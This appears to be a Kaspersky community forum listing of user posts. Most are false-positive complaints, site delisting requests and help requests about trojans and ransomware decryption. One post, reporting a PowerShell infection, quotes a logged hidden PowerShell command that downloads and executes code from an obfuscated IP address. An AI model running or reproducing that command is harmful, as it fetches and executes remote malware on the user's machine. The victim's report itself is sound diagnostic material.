Virus and Ransomware related questions

I pretty much log to internet and use It for gaming. Tonight after I already have logged into Steam, while I was waiting for daily task of rootkit scan to occurr before went to start playing something. I've looked in report page and was checking each component detailed report section when I've noticed 'file antivirus' category. It have displayed two 'processing error' on high alert (colored in red). Went to verify myself each of these files and 0 object could not be scanned. Object name: WmiPrvSE.exe gives the following error as 'Not processed' and object pathfind is: searchms:display=name=Resultados%20da%20Pesquisa%20em%20wbem&crumb=Qualquertexto%3AWmiPrvSE…

I have a file(s) that the anti-virus shows as having a virus. It does not, however as a keyboard scanner app, Kasperky thinks it does. Every time the notification comes up on accessing the folder the file is in my file manager, I am unable to ignore both the notification or add it to the exclusions list. Seems to get added but the notification still comes up the next time. How do I stop the false positive notifications?

Since I have installed Kaspersky standard latest version, some of sites I like to visite are blocked without possibility to allow me decide if yes or no I want to visite these sites. Users should always have the option to visit a site, and no have to turn off Kaspersky for that. Even if I add sites exclusion in anti banner, sites are still blocked. Can you please unblock these sites: removed removed

My code software was claimed to have a virus, and then a pop-up window prompted whether to handle it. After clicking on it, even after reinstalling the software, its functions could no longer be used normally. The virus alert message is: PDM: Trojan.Win32.Generic How can I solve this problem?

Very strange one (to me), illustrated in attache file. Thats the message I get up, but Ive run a complete deep scan and Ive individually scanned the files its pointing towards with Malware Bytes (with no reports) and all I'm getting on the Kaspersky scan is one file not processed .. which is the main file on the screenshot Ive shown. Research tells me its fake trojan email warnings. Ive tried the options to resolve and ignore and the pc just hangs. Should I just add to exclusions, if indeed it allows me to do that. I'm fairly sure theres nothing on the PC, and emails are regularly deleted anyway Windows 11 PC, betterbird (Ive just changed to betterbird from m…

Hello, The API for our website, api.apexyama.com, has been incorrectly marked as a phishing threat by Kaspersky Internet Security. I can assure you that we are not involved in any phishing activity. I am entirely willing to share the source code of our website privately if it is needed to remove this false-positive detection. We are a company based in Turkey, and we process transactions through iyzico, a leading payment provider that is also utilized by Amazon. I am happy to provide any official company documents to verify our identity, if necessary. Thanks in advance!

Our domain, swapped.com, is being flagged as a false positive. (https://opentip.kaspersky.com/swapped.com/?tab=lookup) We have reported the false positive several times, but got no answer: https://forum.kaspersky.com/topic/kaspersky-how-to-report-false-positive-22328/ We do not impersonate other brands and do not request wallet seed phrases or credentials outside our authenticated flow. Swapped has been running since 2022. We are regulated company, regulated by the Financial authorities in Denmark, Norway, Australia, Canada, and the US. We are a regulated VASP and Digital Currency Exchange. We are MiCA compliant and have been in the industry for 4+ year…

I was just about to update the "Moza Pit House" software, but during installation, MaintenanceTool.exe and MOZA Updater.exe were "detected" as PDM:Trojan.Win32.Generic. According to the internet, other antivirus providers have already encountered this problem with older versions. When I try to restore the files, I get a message saying the folder no longer exists, even though I can open the file path. Now I have to reinstall the software. Even when I reinstall it, I'm asked to update, and Kaspersky wants to delete the data again. I uploaded the files to VirusTotal, since I'm not sure if I'm allowed or should upload them here. MOZA Updater.exe 989ee1bfdc8cd…

I'm not using English Kaspersky. Issue: powershell.exe repetitively marked as trojan, unable to remove completely. OS: Windows 11 Kaspersky Plus Context: Seems to be a trojan I got from running a bad .exe Full process: First running yesterday (Windows security detected and removed the supposed trojan right away)but haven't started until the first startup of today, powershell ran weird commands, my discord account was the first to get infected. Has already changed password, so far other account hasn't been infected yet. powershell hasn't started up ever since even if I were to try to restart my pc. A ScreenImage.png was created in temp folder,…

All of sudden, it flags Samsung Internet as Trojan as in the picture. It only asked me to block it, then navigate me to the app setting. You CANT block Samsung Internet if you want to browse internet. Right? Then the report says no threats found. I tried Avast and Bitdefender, none of them detected anything. Another false positive?

O/S = Windows 11 ARV = Kaspersky Standard v21.24.8.422(a) I use Workona Tab Manager every day. Today, when I rebooted my laptop I was bit startled to see that rather than load my tabs, Kaspersky decided to block this action. Is this a an Edge Chromium or Kaspersky issue?

Hey, so I have a Shure MV6, and been using the MOTIV mix software to run my mic with all its settings for a long time, today I load up my PC and suddenly Kaspersky feels the software is a risk and wants to remove it and all its files. It wouldn't allow me to stop the removal and just straight up removed it. My PC got forcefully rebooted, at which point my PC wouldn't recognize my login credentials, I found a fix for that part which was simply restarting my PC several times until it worked... weird but true... MOTIV Mix has had no updates so nothing has changed on their end.. It wont allow me to add it to the trusted list, wont allow me to re-install it. It just removes th…

Hi, I’ve used Kaspersky for donkey’s years without any problems, last year I had to move to the new version, Kaspersky Standard. All seemed well until in the Notification Centre Status, Recommendations 2, and Protection 39 Objects. The Recommendations are fixed and vanish but the 39 Objects remain, I’ve tried all the Resolve all options but nothing removes them. My previous Kaspersky, KIS, version worked perfectly but this one is very confusing. HELP!

Hoje, após atualizar o banco de dados do Kaspersky, meu computador passou a apresentar milhares de detecções de vírus. O antivírus começou a identificar como maliciosos até mesmo arquivos e programas do próprio Windows. Depois que realizei as varreduras e permiti que o antivírus removesse ou colocasse em quarentena os arquivos detectados, o sistema operacional acabou sendo corrompido e passou a apresentar falhas graves. Consegui analisar o primeiro arquivo que foi detectado como vírus no VirusTotal através do link abaixo: https://www.virustotal.com/gui/file/f7a6eb1d9e42c7b678fcd4ec457b352a0ea5baf18a608742acb24863f70fb9ea/detection …

Hi, I just noticed that my computer has been infected by a trojan called "HEUR:Trojan.VBS.SAgent.gen", and I can't remove it via Kapersky...The trojan is found in the inbox file in Thunderbird. So it's not a file that I can remove (it's all code). Kapersky stated that these two files are the source of the Trojan (they are not found as an e-mail attachment in my inbox, it's all code in the inbox file in Thunderbird): P000009384:Emirates_Marble-pdf.gz and P000009384:Emirates_Marble-pdf.vbs So I'm simply wondering how I should go about to remove this trojan from my computer? Source: https://threats.kaspersky.com/en/threat/HEUR:Trojan.VBS.SAgent.gen/

We've had an issue witht he site (https://patriotgolf.com) a few days ago and have already fixed it. We've added and subscribed to Wordfence to monitor any logins and changes on the site. We've also worked with our server provider to setup cloudflare and secure the site on their end. All admin user credentials have been updtaed with stonger logins. We've recently scanned on sitelock and wordfence and the website comes back clean now. We hope to hear from you soon. Thanks!

Find https://nswpedia.com/nintendo-switch-roms got positive on Kaspersky as HEUR:Trojan.Script.MalCrack.gen . However, https://www.virustotal.com/gui/url/65758c5365c663134ad1f7fa0af657096a4a8924f3d6ff5e5cce7f1a3c3c6abf only two showed positive while this report on Kaspersky showed as good website, https://opentip.kaspersky.com/https%3A%2F%2Fnswpedia.com%2Fnintendo-switch-roms/?tab=web . Is it a false positive?

Hello, My website https://intimchat.org is currently flagged as "Malicious" or "Spam" by the Kaspersky engine on VirusTotal. Context: The site was previously affected by a third-party malicious script (ntvpforever.com), which caused the detection. I have performed a complete security audit, and the malicious code has been entirely removed. Verification: Google Search Console: No security issues found, the site is clean. SOCRadar Cyber Intelligence: Already re-evaluated and cleared the domain Current state: The site is safe, no redirects or phishing. I have already submitted several requests via OpenTIP (using this account), but the d…

Back in 2019 my QNAP NAS was hacked and many files were encrypted with ransomware. Fortunately it was possible to unencrypt them. I no longer have the PC I used to do this but I am pretty sure I used Kaspersky RakhniDecryptor and this would have been in 2020. I've now discovered I missed unencrypting a folder with about 1500 files. I think this was because there were too many files on the NAS to unencrypt at once so I needed to divide files into batches and through my own sloppiness, I missed a folder. I've tried to re-do the unencryption using the latest version of Kaspersky RakhniDecryptor and came across the following: - the original files were en…

Hi. So, Kaspersky has detected powershell.exe as a malicious object. It says the object was uid:/amsi_stream_4, a trojan. I've checked Event Viewer and i have two warnings at the time i got a PowerShell window popping up on my screen with the source being "avp" and the info/details i have are: Number: "45399392" Name: "32d87a95" Confidence: "00000000" ProcessSha256: "9785001B0DCF755EDDB8AF294A373C0B87B2498660F724E76C4D53F9C217C7A3" ProcessPath: "c:\windows\system32\windowspowershell\v1.0\powershell.exe" ProcessCommandLine: ""powershell.exe" -nop -exec bypass -w hidden -command "iex(irm 0xc0.0x6d.0xc8.0x3f/event)"" Bases: "2026.02.…

Hello, When I write code in Visual Studio and try to run it, Kaspersky detects my code as a virus/trojan (devenv.exe) and won't let me run it. I can't fix this issue. Can you help me?

Could you please check and delist domain name gleeze.com? All host names associated with security issues were removed as part of our action against abuse. We (dynu.com) are an ICANN accredited domain registrar (IANA ID#3857). Thank you for your assistance.

Hello Kaspersky Community and Lab Team, I am reporting a persistent false positive issue involving a popular RPG game translation and optimization tool called Mtool. Tool Website: https://mtool.app/ Detection Type: Typically flagged as Trojan.Win64.DLLhijack.gen. Involved File: version.dll (located in various game root directories). Description of the Issue: When using Mtool to translate RPG Maker games, the tool places a version.dll file into the game's folder to enable localized text rendering and UI overlays. Kaspersky frequently flags this file as a Trojan or a DLL Hijacking attempt and deletes it. The tool is widely used by the gaming co…

Please remove my site from your blacklist. The has been cleaned, unused themes deleted, kopa framework deleted, and Malcure returns a clean scan. hxxp://purposehousepublishing.com

Hey, I'll keep this brief the antivirus is falseflagging systeminformer and my host file on a new installation of windows I can't provide a screenshot because my entire system is being scanned by tron just DIY, remove the false negative ty